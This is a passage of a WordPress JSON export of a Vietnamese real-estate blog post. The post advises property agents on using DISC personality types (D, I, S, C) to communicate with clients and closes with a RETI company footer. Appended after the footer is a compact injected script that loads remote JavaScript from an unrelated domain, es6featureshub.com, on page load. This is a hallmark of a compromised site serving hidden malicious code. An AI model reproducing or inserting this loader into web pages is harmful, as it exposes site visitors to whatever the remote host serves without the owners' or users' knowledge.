v\u00e0 d\u1ef1a tr\u00ean d\u1eef li\u1ec7u. Tuy nhi\u00ean, trong giao ti\u1ebfp CTV B\u0110S ph\u1ea3i l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 c\u00f3 th\u1ec3 k\u1ebft n\u1ed1i nh\u1eefng \u0111i\u1ec1u h\u1ecd bi\u1ebft tr\u00ean l\u00fd thuy\u1ebft v\u00e0 \u00e1p d\u1ee5ng v\u00e0o t\u00ecnh hu\u1ed1ng th\u1ef1c t\u1ebf?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_hanh_vi_D\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi D<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nhi\u1ec1u CTV B\u0110S ph\u1ea3n h\u1ed3i r\u1eb1ng, m\u1ed9t v\u00e0i kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi D cao khi\u1ebfn h\u1ecd r\u1ea5t t\u1ee9c gi\u1eadn khi h\u1ee3p t\u00e1c v\u1edbi h\u1ecd. H\u1ecd l\u00e0 ng\u01b0\u1eddi d\u1ec5 d\u00e0ng n\u00f3ng n\u1ea3y trong m\u1ecdi vi\u1ec7c v\u00e0 kh\u00f4ng th\u1ec3 ki\u1ec3m so\u00e1t \u0111\u01b0\u1ee3c b\u1ea3n th\u00e2n n\u1ebfu g\u1eb7p r\u1ee7i ro trong qu\u00e1 tr\u00ecnh l\u00e0m vi\u1ec7c. N\u1ebfu b\u1ea1n g\u1eb7p m\u1ed9t kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi D, n\u00f3ng t\u00ednh v\u00e0 kh\u00f3 ch\u1ecbu, b\u1ea1n y\u00eau c\u1ea7u h\u1ecd b\u00ecnh t\u0129nh, h\u1ecd s\u1ebd kh\u00f4ng nghe b\u1ea1n. Ng\u01b0\u1ee3c l\u1ea1i, h\u1ecd s\u1ebd t\u1ee9c gi\u1eadn h\u01a1n n\u1eefa v\u00ec cho r\u1eb1ng b\u1ea1n kh\u00f4ng hi\u1ec3u h\u1ecd. Vi\u1ec7c khuy\u00ean h\u1ecd b\u00ecnh t\u0129nh, th\u01b0 gi\u00e3n gi\u1ed1ng nh\u01b0 n\u00e9m x\u0103ng v\u00e0o l\u1eeda.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong th\u1eddi \u0111i\u1ec3m n\u00e0y, b\u1ea1n kh\u00f4ng n\u00ean s\u1eed d\u1ee5ng c\u00e1c c\u00e2u nh\u01b0: <em>&#8220;T\u00f4i hi\u1ec3u, c\u1ee9 b\u00ecnh t\u0129nh, t\u1ea5t c\u1ea3 s\u1ebd \u1ed5n th\u00f4i&#8221;<\/em>, m\u00e0 h\u00e3y n\u00f3i: <em>&#8220;Em hi\u1ec3u, em r\u1ea5t hi\u1ec3u! \u0110i\u1ec1u n\u00e0y th\u1eadt l\u00e0 kh\u00f3 ch\u1ecbu. \u0110\u00e2y l\u00e0 m\u1ed9t trong nh\u1eefng b\u01b0\u1edbc kh\u00f3 ch\u1ecbu nh\u1ea5t trong c\u00f4ng vi\u1ec7c c\u1ee7a em. Em c\u1ea3m nh\u1eadn \u0111\u01b0\u1ee3c s\u1ef1 th\u1ea5t v\u1ecdng c\u1ee7a Anh\/Ch\u1ecb b\u00e2y gi\u1edd&#8221;<\/em>. B\u00ean c\u1ea1nh \u0111\u00f3, h\u00e3y k\u1ebft h\u1ee3p v\u1edbi \u00e2m l\u01b0\u1ee3ng l\u1eddi n\u00f3i c\u1ea7n th\u1ec3 hi\u1ec7n \u00e2m \u0111i\u1ec7u gi\u1eadn d\u1eef c\u1ee7a kh\u00e1ch h\u00e0ng nh\u00f3m D.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">S\u1eed d\u1ee5ng c\u00e1c ph\u01b0\u01a1ng th\u1ee9c kh\u01a1i g\u1ee3i t\u1eeb kh\u00f3a nh\u01b0 c\u00e1c t\u1eeb, c\u1ee5m t\u1eeb c\u00f3 \u00fd ngh\u0129a v\u00e0 ph\u00f9 h\u1ee3p v\u1edbi nh\u1eefng ng\u01b0\u1eddi c\u00f3 h\u00e0nh vi D nh\u01b0 m\u1ed9t c\u00e1ch \u0111\u1ed3ng h\u00e0nh v\u1edbi h\u1ecd. V\u00ed d\u1ee5: <em>&#8220;Th\u01b0a Anh\/Ch\u1ecb, ng\u00f4i nh\u00e0 n\u00e0y tr\u00f4ng r\u1ea5t tuy\u1ec7t. Ngo\u00e0i gi\u00e1 b\u00e1n ra Anh\/Ch\u1ecb c\u00f2n c\u00f3 c\u00e2u h\u1ecfi n\u00e0o c\u1ea7n em tr\u1ea3 l\u1eddi kh\u00f4ng? N\u1ebfu kh\u00f4ng th\u00ec ch\u00fang ta c\u00f3 th\u1ec3 \u0111i th\u1eb3ng v\u00e0o v\u1ea5n \u0111\u1ec1 kh\u00f4ng \u1ea1?&#8221;.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u1eefng t\u1eeb kh\u00f3a <em>&#8220;b\u1ea1n mu\u1ed1n l\u00e0m g\u00ec? ch\u00fang ra ph\u1ea3i l\u00e0m g\u00ec?&#8221;<\/em> s\u1ebd c\u00f3 t\u00e1c d\u1ee5ng thu h\u00fat phong c\u00e1ch x\u1eed l\u00fd, \u0111\u1ecbnh h\u01b0\u1edbng k\u1ebft qu\u1ea3 cho c\u00e1c h\u00e0nh vi D. B\u1eb1ng c\u00e1ch n\u00e0y, b\u1ea1n s\u1ebd d\u1ec5 d\u00e0ng thu h\u00fat \u0111\u01b0\u1ee3c s\u1ef1 ch\u00fa \u00fd c\u1ee7a h\u1ecd, k\u1ebft n\u1ed1i v\u00e0 ph\u00e1t tri\u1ec3n cu\u1ed9c tr\u00f2 chuy\u1ec7n h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_hanh_vi_I\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi I<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">V\u1edbi h\u00e0nh vi I, trong cu\u1ed9c tr\u00f2 chuy\u1ec7n b\u1ea1n c\u1ea7n c\u00f3 \u0111\u01b0\u1ee3c b\u01b0\u1edbc s\u00f3ng c\u1ea3m x\u00fac b\u1eb1ng c\u00e1ch k\u1ebft h\u1ee3p v\u1edbi s\u1ef1 l\u1ea1c quan v\u00e0 nhi\u1ec7t t\u00ecnh c\u1ee7a h\u1ecd, tr\u1edf n\u00ean h\u00e0o h\u1ee9ng ho\u1eb7c chia s\u1ebb m\u1ed1i quan t\u00e2m v\u1edbi h\u1ecd. Trong giao ti\u1ebfp, m\u1ed9t ng\u01b0\u1eddi vui v\u1ebb th\u1ec3 hi\u1ec7n ni\u1ec1m vui, s\u1ef1 th\u00edch th\u00fa, m\u1ed9t b\u00ean \u0111\u1ed1i t\u01b0\u1ee3ng l\u1ea1i c\u00f3 s\u1ef1 th\u1edd \u01a1, kh\u00f4ng m\u1ea5y quan t\u00e2m th\u00ec cu\u1ed9c tr\u00f2 chuy\u1ec7n s\u1ebd \u0111i v\u00e0o ng\u00f5 c\u1ee5t.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u0169ng t\u01b0\u01a1ng t\u1ef1 nh\u01b0 vi\u1ec7c CTV B\u0110S trao \u0111\u1ed5i v\u1edbi m\u1ed9t kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi I. H\u1ecd l\u00e0 nh\u1eefng ng\u01b0\u1eddi h\u1ed3 h\u1edfi, th\u1ec3 hi\u1ec7n nhi\u1ec1u c\u1ea3m x\u00fac. H\u1ecd th\u00edch th\u1ec3 hi\u1ec7n n\u1ed9i t\u00e2m ra ngo\u00e0i v\u00e0 y\u00eau c\u1ea7u m\u1ecdi ng\u01b0\u1eddi c\u0169ng gi\u1ed1ng nh\u01b0 h\u1ecd. V\u00ec v\u1eady, \u0111\u1ec3 giao ti\u1ebfp t\u1ed1t v\u1edbi ng\u01b0\u1eddi nh\u00f3m I, CTV B\u0110S b\u1eaft bu\u1ed9c ph\u1ea3i tham gia v\u00e0o c\u1ea3m x\u00fac c\u1ee7a h\u1ecd, b\u1ea5t k\u1ec3 \u0111\u00f3 l\u00e0 g\u00ec.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">H\u00e3y s\u1eed d\u1ee5ng gi\u1ecdng n\u00f3i, ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 \u0111\u1ec3 th\u1ec3 hi\u1ec7n s\u1ef1 h\u00e0o h\u1ee9ng c\u1ee7a b\u1ea1n khi n\u00f3i chuy\u1ec7n v\u1edbi h\u1ecd. \u0110\u1eebng c\u1ea3m th\u1ea5y l\u00fang t\u00fang ho\u1eb7c ng\u1edb ng\u1ea9n v\u00ec \u0111i\u1ec1u n\u00e0y. Th\u1ef1c t\u1ebf, b\u1ea1n c\u00f3 th\u1ec3 l\u00e0 m\u1ed9t ng\u01b0\u1eddi l\u1ea1nh l\u00f9ng v\u00e0 th\u00edch kinh doanh h\u01a1n, nh\u01b0ng b\u1ea1n ph\u1ea3i s\u1eeda \u0111\u1ed5i xu h\u01b0\u1edbng c\u00e1 nh\u00e2n c\u1ee7a m\u00ecnh \u0111\u1ec3 x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 v\u00e0 kh\u1eb3ng \u0111\u1ecbnh gi\u00e1 tr\u1ecb c\u1ee7a ng\u01b0\u1eddi kh\u00e1c.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong m\u1ed9t giao d\u1ecbch b\u1ea5t \u0111\u1ed9ng s\u1ea3n, b\u1ea1n g\u1eb7p g\u1ee1 kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi I, h\u00e3y nghi\u00eam t\u00fac v\u1edbi h\u1ecd v\u00e0 b\u00e0y t\u1ecf m\u1ed1i quan t\u00e2m th\u1eadt s\u1ef1 c\u1ee7a m\u00ecnh. H\u00e0nh vi I l\u00e0 nh\u1eefng ng\u01b0\u1eddi t\u00edch c\u1ef1c, n\u00f3i nhi\u1ec1u v\u00e0 nhanh, c\u00e1c v\u1ea5n \u0111\u1ec1 ch\u1ed3ng ch\u00e9o v\u1edbi nhau, v\u00ec v\u1eady h\u00e3y kh\u00e9o l\u00e9o l\u00e0m ch\u1ee7 cu\u1ed9c tr\u00f2 chuy\u1ec7n \u0111i \u0111\u00fang ch\u1ee7 \u0111\u1ec1. \u0110\u1eb7c bi\u1ec7t, bi\u1ebft ng\u1eebng khi n\u00e0o c\u1ea7n v\u00e0 k\u00e9o d\u00e0i c\u00e2u chuy\u1ec7n khi c\u1ea7n thi\u1ebft. Nh\u01b0ng \u0111i\u1ec1u quan tr\u1ecdng l\u00e0 ph\u1ea3i \u0111\u1ed1i x\u1eed m\u1ed9t c\u00e1ch ch\u00e2n th\u00e0nh, \u0111\u1ed3ng th\u1eddi k\u1ebft h\u1ee3p v\u1edbi b\u1ea5t k\u1ef3 c\u1ea3m x\u00fac n\u00e0o m\u00e0 h\u1ecd c\u1ea3m th\u1ea5y.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Th\u00f4ng tin d\u1ef1 \u00e1n \u0111ang \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi quan t\u00e2m: <a target=\"_blank\" href=\"https:\/\/reti.vn\/blog\/sunshine-crystal-river\/\" rel=\"noreferrer noopener\">Sunshine Crystal River<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_hanh_vi_S\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi S<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">H\u1ea7u h\u1ebft, kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi S l\u00e0 nh\u1eefng kh\u00e1ch h\u00e0ng quen thu\u1ed9c c\u00f3 m\u1ed1i quan h\u1ec7 v\u1edbi b\u1ea1n t\u1eeb tr\u01b0\u1edbc, ho\u1eb7c nh\u1eefng ng\u01b0\u1eddi \u0111\u01b0\u1ee3c gi\u1edbi thi\u00eau v\u1ec1 d\u1ecbch v\u1ee5\/s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n. Th\u1eadt d\u1ec5 hi\u1ec3u v\u00ec h\u1ecd mu\u1ed1n b\u1ea1n v\u00e0 h\u1ecd c\u00f3 m\u1ed1i quan h\u1ec7 h\u1ee3p t\u00e1c t\u1ed1t trong su\u1ed1t to\u00e0n b\u1ed9 qu\u00e1 tr\u00ecnh. C\u00f3 l\u1ebd b\u1ea1n s\u1ebd c\u1ea3m th\u1ea5y d\u1ec5 d\u00e0ng h\u01a1n trong qu\u00e1 tr\u00ecnh giao d\u1ecbch. Tuy nhi\u00ean, h\u00e0nh vi S v\u00e0 nh\u1eefng g\u00ec h\u1ecd \u0111ang c\u1ed1 g\u1eafng \u0111\u1ec3 c\u1ea3m th\u1ea5y \u0111\u1ee7 tho\u1ea3i m\u00e1i khi b\u1ea1n gi\u00fap \u0111\u1ee1. T\u1ea1o d\u1ef1ng l\u00f2ng tin b\u1eb1ng vi\u1ec7c l\u1ecbch s\u1ef1 trong y\u00eau c\u1ea7u h\u1ed7 tr\u1ee3, y\u00eau c\u1ea7u \u0111\u1ec3 b\u1ea1n gi\u00fap \u0111\u1ee1.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ed9t s\u1ed1 \u0111i\u1ec3m c\u1ea7n l\u01b0u \u00fd khi giao ti\u1ebfp v\u1edbi nh\u00f3m h\u00e0nh vi S:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>L\u1eb7p l\u1ea1i l\u1eddi n\u00f3i c\u1ee7a h\u1ecd.<\/li><li>T\u00edch c\u1ef1c l\u1eafng nghe.<\/li><li>\u0110\u1eebng qu\u00e1 th\u1ec3 hi\u1ec7n k\u1ef9 n\u0103ng c\u1ee7a b\u1ea1n.<\/li><li>N\u00f3i ch\u1eadm v\u00e0 t\u1eadp trung v\u00e0o ch\u1ee7 \u0111\u1ec1.<\/li><li>\u0110i\u1ec1u ch\u1ec9nh ph\u00f9 h\u1ee3p v\u1edbi \u00e2m l\u01b0\u1ee3ng v\u00e0 y\u00ean t\u0129nh h\u01a1n, k\u1ebft h\u1ee3p v\u1edbi \u00e2m \u0111i\u1ec7u v\u00e0 t\u1ed1c \u0111\u1ed9 n\u00f3i \u1ed5n \u0111\u1ecbnh c\u1ee7a h\u1ecd.<\/li><li>T\u01b0 th\u1ebf v\u00e0 th\u00e1i \u0111\u1ed9 d\u00e0nh ri\u00eang cho h\u1ecd.<\/li><li>\u0110\u1eb7t c\u00e2u h\u1ecfi sau \u0111\u00f3 im l\u1eb7ng v\u00e0 \u0111\u1ec3 h\u1ecd n\u00f3i.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u00e2y l\u00e0 nh\u1eefng g\u00ec m\u1ed9t h\u00e0nh vi S mu\u1ed1n \u1edf CTV B\u0110S c\u1ee7a h\u1ecd v\u00e0 gi\u1edd h\u1ecd s\u1ebd c\u1ea3m th\u1ea5y tin t\u01b0\u1edfng b\u1ea1n, \u0111\u1ec3 b\u1ea1n h\u1ed7 tr\u1ee3 h\u1ecd trong to\u00e0n b\u1ed9 qu\u00e1 tr\u00ecnh giao d\u1ecbch b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_hanh_vi_C\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp h\u00e0nh vi C<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi C l\u00e0 nh\u1eefng ng\u01b0\u1eddi c\u00f3 s\u1ef1 nghi ng\u1edd cao v\u00e0 c\u1ef1c k\u1ef3 tu\u00e2n th\u1ee7 k\u1ef7 lu\u1eadt. H\u1ecd mu\u1ed1n m\u1ecdi th\u1ee9 ph\u1ea3i ch\u00ednh x\u00e1c m\u1ecdi l\u00fac v\u00e0 ch\u00ednh x\u00e1c nh\u01b0 h\u1ecd th\u1ea5y. Gi\u1ed1ng nh\u01b0 h\u00e0nh vi S, h\u00e0nh vi C c\u1ea7n r\u1ea5t nhi\u1ec1u th\u1eddi gian v\u00e0 s\u1ef1 ch\u00fa \u00fd, nh\u01b0ng nhi\u1ec1u h\u01a1n l\u00e0 s\u1ef1 c\u1ee9ng nh\u1eafc v\u00e0 \u0111\u00f2i h\u1ecfi nhi\u1ec1u h\u01a1n so v\u1edbi S.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ed1i v\u1edbi CTV B\u0110S, k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng c\u00f3 h\u00e0nh vi C c\u1ea7n \u0111\u1ea3m b\u1ea3o v\u1edbi h\u1ecd r\u1eb1ng b\u1ea1n \u0111ang cung c\u1ea5p cho h\u1ecd t\u1ea5t c\u1ea3 th\u00f4ng tin quan tr\u1ecdng m\u00e0 h\u1ecd c\u1ea7n \u0111\u1ec3 gi\u00fap h\u1ecd \u0111\u01b0a ra b\u1ea5t k\u1ef3 quy\u1ebft \u0111\u1ecbnh n\u00e0o ph\u00e1t sinh trong su\u1ed1t qu\u00e1 tr\u00ecnh.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Kh\u00f4ng s\u1eed d\u1ee5ng qu\u00e1 nhi\u1ec1u ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 m\u1ea1nh m\u1ebd, h\u1ecd s\u1ebd c\u1ea3m th\u1ea5y nh\u01b0 b\u1ea1n \u0111ang c\u1ed1 g\u1eafng th\u1ed1ng tr\u1ecb h\u1ecd.<\/li><li>Ki\u1ec3m so\u00e1t c\u1ea3m x\u00fac, kh\u00f4ng g\u00e2y \u00e1p l\u1ef1c cho kh\u00e1ch h\u00e0ng h\u00e0nh vi C.<\/li><li>N\u00f3i m\u1ed9t c\u00e1ch \u0111\u01a1n \u0111i\u1ec7u, ph\u00f9 h\u1ee3p v\u1edbi \u00e2m l\u01b0\u1ee3ng, \u00e2m \u0111i\u1ec7u v\u00e0 t\u1ed1c \u0111\u1ed9 n\u00f3i ch\u1eadm, c\u00f3 ph\u01b0\u01a1ng ph\u00e1p c\u1ee7a h\u1ecd.<\/li><li>Cung c\u1ea5p cho h\u00e0nh vi C kh\u00f4ng gian \u0111\u1ec3 suy ngh\u0129 v\u00e0 \u0111\u1eb7t c\u00e2u h\u1ecfi.<\/li><li>Cung c\u1ea5p cho h\u1ecd t\u1ea5t c\u1ea3 c\u00e1c ki\u1ec3m so\u00e1t, \u0111\u1eebng ch\u1ebf ng\u1ef1 h\u1ecd.<\/li><li>\u0110\u1eebng cung c\u1ea5p cho h\u1ecd nhi\u1ec1u l\u1ef1a ch\u1ecdn gi\u1eefa c\u00e1c gi\u1ea3i ph\u00e1p kh\u00e1c nhau.<\/li><li>\u0110\u1eebng ng\u1ea1i khi cung c\u1ea5p c\u00e1c r\u1ee7i ro, v\u00ec h\u1ecd c\u1ea7n thi\u1ebft ph\u1ea3i ki\u1ec3m so\u00e1t \u0111\u01b0\u1ee3c t\u1ea5t c\u1ea3 c\u00e1c v\u1ea5n \u0111\u1ec1 trong qu\u00e1 tr\u00ecnh giao d\u1ecbch.<\/li><li>Giao ti\u1ebfp v\u1edbi h\u00e0nh vi C m\u1ed9t c\u00e1ch \u0111\u01a1n gi\u1ea3n v\u00e0 th\u1ef1c t\u1ebf.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ph\u1ea7n th\u01b0\u1edfng cho vi\u1ec7c th\u00e0nh th\u1ea1o c\u00e1c k\u1ef9 thu\u1eadt giao ti\u1ebfp th\u00f4ng qua quan s\u00e1t h\u00e0nh vi s\u1ebd r\u1ea5t l\u1edbn. H\u1ea7u h\u1ebft c\u00e1c giao ti\u1ebfp di\u1ec5n ra \u1edf m\u1ee9c \u0111\u1ed9 phi ng\u00f4n ng\u1eef, v\u00f4 th\u1ee9c v\u00e0 c\u00e1c k\u1ef9 thu\u1eadt m\u00e0 RETI \u0111\u00e3 chia s\u1ebb cho ph\u00e9p b\u1ea1n giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh m\u00e0 kh\u00f4ng c\u1ea7n ph\u1ea3i n\u00f3i qu\u00e1 nhi\u1ec1u.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m: <a href=\"https:\/\/agent.reti.vn\/chot-sale-la-gi\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/chot-sale-la-gi\/\" rel=\"noreferrer noopener\">Ch\u1ed1t sale l\u00e0 g\u00ec? 6 k\u1ef9 thu\u1eadt ch\u1ed1t sale th\u1ea7n t\u1ed1c cho CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hy v\u1ecdng v\u1edbi b\u00e0i vi\u1ebft &#8220;<strong>B\u00ed quy\u1ebft trau d\u1ed3i k\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng t\u1eeb tr\u1eafc nghi\u1ec7p DISC<\/strong>&#8221; s\u1ebd gi\u00fap b\u1ea1n c\u00f3 c\u1ea3i thi\u1ec7n trong s\u1ef1 nghi\u1ec7p c\u1ee7a m\u00ecnh v\u00e0 mang l\u1ea1i k\u1ebft qu\u1ea3 t\u1ed1t trong c\u00f4ng vi\u1ec7c CTV B\u0110S. \u0110\u1ec3 kh\u00f4ng b\u1ecf l\u1ee1 nh\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 B\u0110S, b\u1ea1n h\u00e3y truy c\u1eadp v\u00e0o\u00a0<a href=\"https:\/\/agent.reti.vn\/\">agent.reti.vn<\/a>\u00a0v\u00e0 nh\u1eefng c\u1eadp nh\u1eadt m\u1edbi nh\u1ea5t v\u1ec1 th\u1ecb tr\u01b0\u1eddng B\u0110S t\u1ea1i\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">reti.vn<\/a>.  <\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>K\u1ef9 n\u0103ng giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng chuy\u00ean nghi\u1ec7p s\u1ebd gi\u00fap x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng, t\u0103ng n\u0103ng su\u1ea5t v\u00e0 l\u1ee3i nhu\u1eadn cho c\u1ed9ng t\u00e1c vi\u00ean B\u1ea5t \u0111\u1ed9ng s\u1ea3n (CTV B\u0110S). Ng\u01b0\u1ee3c l\u1ea1i, giao ti\u1ebfp k\u00e9m trong kinh doanh c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn m\u1ed9t s\u1ed1 v\u1ea5n \u0111\u1ec1 kh\u00f3 l\u01b0\u1eddng tr\u01b0\u1edbc \u0111\u01b0\u1ee3c nh\u01b0 [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":33058,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[307],"tags":[],"class_list":["post-33023","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-meo-nho-bat-dong-san"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/DISC-1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/33023","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=33023"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/33023\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/33058"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=33023"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=33023"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=33023"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}